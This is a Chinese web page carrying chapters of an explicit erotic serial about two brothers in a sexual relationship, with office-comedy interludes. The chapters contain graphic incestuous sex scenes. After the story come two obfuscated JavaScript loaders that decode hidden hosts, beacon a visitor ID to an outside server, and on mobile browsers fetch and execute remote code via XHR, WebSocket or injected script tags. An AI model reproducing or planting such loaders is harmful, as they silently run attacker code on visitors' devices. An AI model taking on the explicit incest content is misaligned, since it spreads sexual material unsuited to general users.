楚天玉见状顿时一阵无力。有人被罚还这么高兴的吗?让人这么高兴还能叫惩罚吗?

不过还好他楚天玉不是普通的聪明,已经想到另类的惩罚方法,今天包准让哥哥真正得到教训。

“听好,今天的惩罚就是只准我主动碰你,不准你碰我一下,懂了吗?”

“懂了懂了,玉儿快开始吧。”

看见跪在自己身前的人双眼已经开始湿润了,坐在椅上的楚天玉不由得坏坏一笑。

解开裤头,拉下拉链,掏出巨大、沉甸甸的性器,楚天玉慢条斯里地开始搓揉起来。“哥哥,你说这个东西漂不漂亮?”

“漂……漂亮……哥哥好……好想……”

好……好想吸哦。望着矗立在自己眼前,正在不断长大变壮的美丽生物,楚慎之只能目不转睛地猛咽口水,“玉儿,你让哥哥吸一下好不好?”

“不行,你忘了我说过不准你碰我的吗?”楚天玉不留情地拒绝了他的提议,而且还变本加历地用力搓揉起来。

眼前的巨兽近得可以看见它浮出的青筋,尖端的小孔已经慢慢冒出透明的黏液,楚慎之看得嘴都快馋死了,想到以往曾经无数次吞进的美味,他渴望地眼泪都要流了出来。“呜……玉儿好坏,那让哥哥舔一下好不好?一下就好,真的。”

“不行,我说不准碰就不准碰。”要是让你碰了,那还叫惩罚吗?

“哎呀,都快滴下来了,玉儿,你怎么可以这么暴殄天物,让哥哥舔一下有什么关系吗?你好小气哦!”

天底下有因为不让哥哥替自己口交而被骂小气的弟弟吗?如果有的话,楚天玉还真想看看。

“哥哥,你死心吧,我今天不但不让你吸、不让你舔,而且也不会让你的屁屁碰到我的宝贝。这就是我对你的惩罚!”

楚慎之闻言脸色一白,立刻跳了起来!“不好玩不好玩,这惩罚一点都不好玩!玉儿,你换一个换一个啦。”

“没得换,要不要随便你。”楚天玉以货物既出、概不退换的语气再次拒绝了他。

“呜……玉儿好坏……”楚慎之一边低头假哭,一边开始动起脑筋来。

虽然玉儿从小就是自己的死穴,但反过来说,他这个哥哥又何尝不是世上对弟弟最有影响力的人?哼,玉儿,你先别太得意,到最后胜利的人还不知道是谁呢?

“哎呀,好热哦,不知道冷气是不是坏了?”缓缓褪去身上的衣物,楚慎之光熘熘地站在少年面前,用手扇了扇风。

“玉儿,你来帮哥哥看看,我这里热得像火烤一样,哥哥是不是发烧了?”

一屁股坐在书桌上,楚慎之两腿大张,高高地举起,将自己从看到弟弟的巨大就硬到发疼的性器和底下色泽诱人的肉穴,毫不保留地以不到十公分的近距离呈现在少年的面前。

哥哥的性器和自己紫黑的颜色恰恰相反,长度虽然略逊一筹,但却透着一种玉般的光泽,嫩滑得让人恨不能狠狠咬一口。而那几乎天天被自己狂操的小穴虽已由原来的粉红转为玫瑰般的暗红色,但不管是弹性还是吸力却都是无人能比的,是个天生的名器。

这个小淫娃!我看你根本不是发烧,是发“骚”吧?

鼻端近得可以闻到那股让人发狂的骚味,楚天玉暗干了一声,强压下心中的欲火,不动声色地说,“看起来还好啊。”

“是吗?可是哥哥真的觉得很热啊……还有这里,这里也帮哥哥看看,感觉好痒哦……”

媚眼如丝,娇喘不止,楚慎之一手将自己红肿的乳珠放在指间放肆地搓揉,另一手则靠近唇边,将两根手指插进嘴里,不停地吸吮舔舐。

“嗯……嗯……好痒……好痒哦……哥哥受不了了……玉儿……玉儿啊……”

像条美丽诱人的白蛇般在桌上拼命扭动着,过没多久,楚慎之就像再也受不住似的,将被舔的湿答答的手指猛地插进了底下的肉穴里——“啊——”身体一弓,爽得不停地颤抖,但不管感觉再怎么强烈,又怎么比得上玉儿贯穿自己体内那种疯狂的快感呢。“玉儿……玉儿……进来……插进来……哥哥想要……想要啊…

…“

小穴里红红的媚肉被不停地翻进翻出,股间的玉柱随着抽插的动作也不停地摇晃,楚天玉看到如此淫乱的画面鼻血都快喷了出来——“哦,你这个妖精!操死你!”

去他XX的惩罚!再忍下去,难过的还不是自己,干吗自找罪受啊?像是终于想通的楚天玉,啪地一声挥开了那在穴里进出的玉手,扑上去一口就咬住了他垂涎已久的绯红乳珠,底下涨得发黑发亮的硬挺也狠狠刺进那已经被手指蹂躏地又湿又软的穴洞里——“呜啊——”果然还是非玉儿不可!

巨大汹涌的快感让楚慎之的眼泪一下就飚了出来,他不停地大声哭叫着,好象不这么做,自己就要被那除了身上的这个人,再无人能给予的快感给活活溺死了……

“玉儿……死了……哥哥要死了啊……啊啊……”

双腿紧紧锁住少年精壮的腰身,心爱的弟弟在自己体内疯狂穿刺的肉棒,让楚慎之不停地持续射精,叫得像要断了气一般——“操死你!看你还敢不敢发骚?

叫啊,再叫啊!“

“不敢了……哥哥不敢了……玉儿饶了我……饶了我……”

嘴里叫着不敢,但身体却变本加厉地展现最高级的妓女也做不来的媚态,楚天玉再一次被眼前妖艳的肉体所迷惑,嘶吼着射出炙热的欲望,沉沦进无边的禁忌情海里……

这次的惩罚,一如既往,到了最后,最爽的……果然还是哥哥。

第四章

早上的尖峰时间,台北市区川流不息的车潮中,一辆豪华的加长型轿车亦不能免于塞车的命运,被困在了离目的地不到五百米、拥挤的敦化南路上。

“我要在这里下车。”坐在价值千万的进口轿车里,却一身破T恤及牛仔裤的少年以不耐的口气说。

“不行,太阳这么大,你会被热昏的。玉儿乖,再等会儿马上就到了,顶多迟到几分钟而已,没关系的。”一位衣冠楚楚的男子紧紧攀附在少年的身上,极力安抚着。

“哼,我哪有你这个总裁这么好命,高兴几点上班就几点上班,我只是个小小的工读生,如果迟到了,是要扣工资的。”

“玉儿为什么要去别的部门打工吗?如果你愿意,哥哥身边正好缺个助理,你可以来帮哥哥啊。这样我们就可以一起上下班,一起用午餐,多好啊!”

“你这只无尾熊少在那边给我出什么馊主意!自从上次暑假被你骗来当你的尤加利树后,我就发誓再也不跟你一起工作了。我出来打工是要磨练自己,你这样整天粘着我不放,叫我怎么做事啊?何况你不是已经有王秘书帮你了吗,他那么能干,你还需要什么助理?”

“对啊,总裁,你该不是要炒我这个秘书的鱿鱼吧?”一直游手好闲坐在两人对面看他们斗嘴,长相斯文俊秀的男子,闻言立刻嘴巴扁扁、委屈地说。

“哼,玉儿你不知道,这个王秘书可能是年纪大了,有点老年痴呆症,常常忘东忘西,丢三落四的,有好几次都差点把事情搞砸了呢。”

“怎么可能?王秘书,你……真的这样?”挑了挑眉,少年好奇地问。

“嗯……这个……”接收到从总裁身上隐隐传来的杀气,王家伟为了自己的小命着想,决定牺牲自己“天才秘书”的声誉,忍痛地说,“是啊,哎,可能最近年纪真的大了,老是头昏眼花、力不从心,小少爷如果能来帮帮我们,那我真是感激不尽呢。”

“是吧是吧?玉儿你看,哥哥没有骗你吧?哥哥身边现在就缺像你这样聪明盖世、果断英明、身怀绝技的英雄少年,你看是不是今天就转到哥哥这边来工作?”

“对啦对啦,今天就来今天就来。”只要这个宝贝弟弟在身边,总裁心情肯定大好,我这个秘书也才有好日子可过,小祖宗,求求你就快答应你哥吧!王家伟在心中暗暗祈祷。

“好啊,我来啊……来你个头啦!”狠狠在头上赏了他们两个暴栗!少年冷冷一笑,“你们两个双簧演完了没?我可没空在这里听你们瞎说。我已经迟到了!

我早就说要自己骑机车,哥哥偏要开车送我,这下可好了吧?“

“好好,是哥哥不对,那明天开始哥哥坐你的机车一起上班,好不好?”楚慎之眼看“奸计”无法得逞,只好另辟捷径。反正只要能达到粘住玉儿这棵大树的目的,他这只无尾熊什么“撇步”都使得出来。

“不好。你每次一吹风就头疼感冒,我不准你这样。”

“带安全帽就吹不到风了嘛,我不管,为什么玉儿可以和别人一起坐一辆机车,哥哥就不行?”

“你看到我和谁坐一辆车了?我怎么不记得?”少年闻言皱了皱眉头,不解地问。

“哼,你最好是不记得。”回想到当时那一幕,楚慎之心里就不是滋味。

“好了,玉儿,前面就是公司了,你快去吧,午饭我已经帮你吩咐好了,婆婆会送来给你,你可别随便到外面乱吃哦。”

“好啦好啦,哥哥真罗嗦。”

楚慎之简直爱煞了少年那眉头微颦的模样,不由得在心里尖叫一声,也不管身旁是否有人在观看,搂紧少年的颈项,就深深吻了上去——王家伟对这种情况早就习以为常,见怪不怪,只是眼睛盯着手表默默计时,看这次总裁能不能再破去年缔造的记录——三分钟……四分钟……

“够了没啊?真受不了你……”少年揪住身上无尾熊的毛发,将他轻轻扯离自己的双唇。

“不够,不够,哥哥还要嘛……”

“对啦,不够不够,再继续继续啊。”哎呀,只差一点点就破记录了,加油啊加油!王家伟在旁边拼命地煽风点火。

“王秘书,你什么时候改行当起拉皮条啦?”楚天玉冷冷瞥了他一眼,“好了,哥哥别再闹了,我打工去了,你也要乖乖上班哦,不要动不动就打电话给我,也不要随便跑来找我,更不准叫一堆莫名其妙的人来分担我的工作,这样会给我惹麻烦的,听清楚了吗?”

“讨厌,哥哥是心疼你,舍不得你太累嘛,而且明知道玉儿就在哥哥楼下工作,却看不到你的人,你叫哥哥怎么忍得住吗?”楚慎之委屈地眨了眨眼。

“忍不住也得忍,不然我就去别的地方找工作哦?”

“好嘛好嘛,哥哥忍耐就是了,玉儿就会威胁我。”

“这样才乖,再见。”楚天玉用手指轻轻点了点美人那微微噘起的双唇,笑笑地下车去了。

趴在窗边痴痴地目送少年下车离去,楚慎之过了好一会儿才收回痴迷的目光。

将眼球调回跟在自己身边多年的秘书,楚慎之满脸的轻怜蜜意在瞬间消失,神色一整,冷冷地开口,“我交代你办的事都办好了吗?”

眼看总裁翻脸比翻书还快,王家伟不禁暗中吐了吐舌头。“都办好了,她的调职令今天就会下来。”

“很好,记得把她调得远远的,想办法三年内都让她回不了台湾,明白了吗?”

“明白明白,但恕属下直言,总裁这样似乎有点小题大做,他们也只不过是一起共事了几天而已啊。”

“哼,你又不是没有看见,他们不只一起共事,还一起骑车到KTV去,而且那个女人还当着我的面和玉儿拉拉扯扯的,这叫我怎么忍得下这口气?”

“以属下看来,小少爷对总裁情深意重,生死相许,是绝不可能跟别的女子有逾矩的行为的。”

“废话,我家玉儿爱我爱得要死,当然是不可能会对别人动心的。但你可别忘了,我家玉儿长得这么气宇轩昂、英俊潇洒,风度翩翩,就算他不理别人,别人也会死缠着他的,身为楚家的长子,我当然得为我们家的宝贝清理清理周边的可疑人物,你说是不是?”

“是是,总裁英明,总裁说的是。”总裁你是眼睛被牛屎煳到啦?以当天在KTV的情况看起来,那个女人心仪的对象明明就是你才对,你怎么还误会人家喜欢的是你那个宝贝弟弟啊?我真是服了你!王家伟对这个一遇上自己心爱弟弟的事,智商就自动从两百降为个位数的总裁还真是伤透了脑筋。

“哼哼,别以为我不知道你在心里骂我,你这点鬼头鬼脑我还不放在眼里。

我现在心情极度不爽,你最好快把今天的行程报上来,不然我就改变主意回家睡觉去,反正这几天我被玉儿做得死去活来的,也正好需要好好休息。“

“千万不要啊,总裁,你上次为了找小少爷几天没上班已经耽误了很多重要会议了,我好不容易又重新安排了一次,你可千万别再罢工了。而且总裁可别忘记了,刚刚小少爷有交代要你乖乖上班的哦。”

“哼,就会拿玉儿威胁我。知道啦,有话快说,有屁快放吧。”

“是,属下遵命,屁目前是没有,等我收集够了,一定放给总裁听。但话我倒是有很多,请听属下我一一道来……”

*******************************

楚天玉一踏进企画部位于三楼的办公室立刻听到一阵女人的哭声。

“呜……我不要走不要走啦……”

“淑敏姐,你不要伤心嘛,能到法国分公司去进修是很多人抢破头也得不到的机会呢。”

“这我知道,可是我这一走就看不到我心爱的总裁了,呜……我真的是舍不得啊……”

“怎么回事啊?淑敏姐,你在哭什么?”楚天玉看到一群女人围成一团,不禁好奇地问。

“阿天啊,你来得正好!”淑敏仿佛看到救星一般,立刻把阿天拉到一旁去,小声地说,“你不是总裁小时候的邻居吗?你快去帮我跟他说说,说我不想离开台湾总公司,请他不要把我调到海外去。”

“调到海外去?这是什么时候的事?”

“就是今天啊,早上刚刚下来的调职令,我自己也吓了一跳。人家一句法文也不会说,去那里还不是只有当哑巴的份,我不要去不要去啦,阿天,你快去帮我跟总裁说好不好?”

又是好气又是好笑地翻了翻白眼,楚天玉总算想起哥哥今天早上提过他和谁共骑一辆车了。“淑敏姐,对不起,我恐怕帮不了你。”有个爱吃醋的小妖精打翻醋坛子了,你应该庆幸自己没真的看上我,不然你恐怕就不是调到法国去,而是调到非洲去了。

“好啦,能去国外进修是件好事啊,别再哭哭啼啼了。大伙快去工作,别再磨蹭了。阿天,你和小刘、阿峰到仓库把这次展览需要的材料搬上来,其它的人快回到自己的工作岗位去。”只见企画部经理拍了拍手,出来发号司令了。

大热天在仓库里工作实在是件苦差事,小刘和阿峰两人嘴里不停地抱怨,躲在一旁阴暗处凉快去了。倒是楚天玉丝毫不以为意,挥汗如雨地将材料一一搬上推车。

“阿天,过来休息一下,喝瓶凉的。”

“好,马上来。”确定所有的材料都上车了,楚天玉才走到他们身旁席地而坐,顺手脱下身上被汗水浸得湿答答的黑色T恤。

“来,这瓶饮料给你。哇噻,阿天,你的马子真是太辣了,怎么把你弄成这样?”小刘一看到楚天玉赤裸的上身满是青青紫紫的吻痕和咬痕,立刻傻了眼。

“对啊,对啊,连背后也被抓了好几道,阿天,你这个马子好象很骚啊,你大概每天都被她榨得干干的吧?哈哈……”阿峰也加入了调侃的行列。

“是啊,他确实是骚得不得了。”想到那个人只在自己面前展露的媚态,楚天玉差点忍不住硬了起来。

“你这马子看起来占有欲蛮强的哦,给你印了这么多标记,就算别的女人想追你大概也被吓跑了,可是你也来了好些天了,怎么从没听她打电话给你,也没见她来公司找过你?”

“因为他实在是太骚了,骚得我每次只要听到他的声音就什么事都做不了,只想把他压在身下狠狠操上两回,所以我根本不让他打电话来,更不准他来看我,不然我大概得常常翘班了。”

“哈哈,原来如此,听你这样说,我更想看到她了,她长得怎么样?漂亮吗?”

“我不知道别人怎么想啦,但在我眼里,他可是无人能比的天下第一大美人哦。”

“哼哼,臭屁,你一个穷工读生能泡上什么美女啊?现在的女人可现实了,就算你长得帅了点,只要口袋里没有足够的钞票,那就抱歉,请闪一边凉快去吧。”

“或许吧,但那个人不一样,我有自信,不管我今天变得再穷再落魄,不管我是瞎了一只眼还是瘸了一条腿,那个人,他永远也不会离开我……”

“哼哼,有自信是件好事啦,但自信过了头可就是自找苦吃了,到时候连怎么被甩的都不知道。等有一天你有了那个人的条件,你再来这么跟我说吧。”用手指了指落地窗外不远处,总部大楼的最顶楼,小刘嗤笑了一声。

“那个人是指……?”楚天玉故做不懂地问。

“楚慎之,我们的总裁,楚氏企业的最高领导者。家财万贯、人又长得吓死人的俊美,最厉害的是脑子又特别聪明,听我们公司的女孩子说,他从小到大读书都是拿第一的,在台大念财经系的时候就相继发表了几篇见解独到的论文,在毕业前,就不知道有多少世界名校抢着要他去念博士呢,虽然后来不知道什么原因总裁没有继续出国深造,但他自从接掌公司这些年来,不断地扩大我们企业的版图和公司利润,是个真正的商业奇才。不过最让我们员工服气的一点是,总裁身上非但一点铜臭味也没有,反而举止优雅,浑身散发出一种高贵的气质,看了就连我们男人也要心动啊。”

举止优雅、气质高贵?如果我告诉你们把我身上弄得青青紫紫、每晚不被我压在身下就睡不着的骚货,就是你们嘴里举止优雅、气质高贵的总裁,不知你们会不会吐血身亡啊?楚天玉有点恶意地想。

“哎,像总裁那样完美的人不知道要什么样的女人才配得上他啊?我要是有他的千分之一的条件,做梦都会笑了。”阿峰开始哎声叹气了。

“总裁的绯闻倒是不多,听说他生活很严谨,几乎是一下班就回家了,很少涉入公共场所,所以也有人传说他在家里藏了个天仙美女,不然怎么会每天急着回家报到呢?”

“噗——”楚天玉一听到“天仙美女”四个字,一口水立刻喷了出来。

“干吗啊?嫉妒啊。”

“没有没有,请说请继续说。”想到自己堂堂七尺男儿竟被说成天仙美女,楚天玉不禁一阵苦笑。

“那个传说目前还无法证实,倒是我在秘书室工作的妹子说,那天亲眼看到总裁的母亲带了一个大美女来公司看总裁哦,一看也知道是要相亲的对象,不过总裁有再三交代这个消息绝对不能曝光,所以现在公司知道的人还不是很多就是。”

“哇,大美女啊,我也想要一个,总裁真幸福。”

“是啊,真想亲眼看看他幸福的样子,好好恭喜他呢……”楚天玉闻言眼睛微微一眯,无比轻柔地说。

在此同时,位在楚氏企业大楼最顶层的那个人耳朵突然一阵发痒,想到或许是楼下那个心爱的人在想念着自己,不禁嘿嘿地笑了。

第五章

“哥,这样舒服吗?”

“舒服……好舒服……啊啊……玉儿……玉儿……”

“那这里呢?这里也舒服吗?”

“舒服……这里也好舒服……舒服死了啊……玉儿……哥哥求你了……快点进来好不好……哥哥想要想要嘛……”

“哥,你别急,今天我想要慢慢来啊。”

“呜……玉儿好坏……你今天为什么要这么折磨哥哥?玉儿在生哥哥的气吗?”

“生气?我为什么要生气?难道哥哥有做什么对不起我的事吗?”

“啊?没……没有啊,哥哥怎么可能会做什么对不起玉儿的事呢。玉儿你想太多了,嘿嘿。”

“真的没有?你知道我最讨厌哥哥有事瞒着我。”

“没有没有,真的没有。”

“是吗?那就好……哎呦——”

“玉儿,怎么啦?你怎么啦?”

“我突然觉得好悃哦,哥哥,晚安。”

“啊?但是玉儿,哥哥我——”

“哥哥,我今天累了一天真的没有力气了,对不起,我不能满足你了……我……我对不起哥哥……”

“玉儿别这么说,是哥哥不好,哥哥没想到这点。那我们今天别做了,玉儿抱抱哥哥就好。”

“对不起啊,哥哥,我恐怕也不能抱你了,今天搬了好多东西,我的手好酸哦,连碰一下都会痛呢……”

“啊?怎么会这样?是哪个天杀的混蛋敢这么虐待我的玉儿?!我明天就炒他鱿鱼,再把他烤成鱿鱼干,打包卖到国外去!”

“哥,你如果敢干涉我的工作,我就一辈子都不跟你说话。”

“好嘛好嘛,哥哥只是说说而已,玉儿别生气了。那你快休息,哥哥不吵你就是。”

“好,那哥哥也早点睡吧,晚安。”

无尾熊没有尤加利树可以抱,怎么睡得着?

心爱的弟弟就睡在身边,但却不能抱着入眠,看得到却吃不到的痛苦让一向习惯唿风唤雨的楚氏企业总裁上身一脸哀怨,下身一柱擎天,整个人从此一夜无眠……

************************

“妈,是你?爸爸呢?不是他约我出来的吗?”匆匆踏进公司隔壁的一个私人俱乐部,一眼见到座位上只有一位美丽的妇人,楚慎之心中的警铃立刻大作。

“哦,你爸临时有事,叫我来赴约。他没有通知你吗?”林萍萍无辜地眨眨眼,露出一脸吃惊的表情。

“妈,你够了没?你今天敢冒用爸爸的名义约我出来,是不是又要帮我相亲?

我已经说过多少次了,我绝对不可能答应的!何况这种事万一让玉儿知道了,你岂不是要害死我?“几天没睡好觉、正一肚子火的楚慎之口气凶恶地说。

这几天玉儿不知是不是真的工作太多还是有其它原因,每次跟他做到一半就喊累,接着就自顾自地睡觉去了,害他又心疼又郁闷,已经几天翻来覆去,彻夜难眠了。偏偏这个爱捣蛋的妈妈又在这时候来搅局,也难怪他没好脸色给她看。

“慎之,你是我们楚家的长子,又是楚氏企业的掌舵者,你已经二十七岁,也到适婚年龄了,整个家族都在为你的婚事操心,可是你却迟迟没有对象,这怎么能怪我们要为你相亲呢?”

“妈,你明知道我已经有对象,你明知道我的心在很久以前就给了一个人,为什么现在还要这么逼我?”

“慎之,不是妈在逼你。你对玉儿的感情我和婆婆都知道,也都能理解,这一切只能说是命,我们虽然无奈,但也没办法阻止你,因为我们知道你没有你弟


上一篇:合租的一对儿,竟然是兄妹(01-02)

下一篇:高中美少女篮球员的盛宴(未来篇07)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};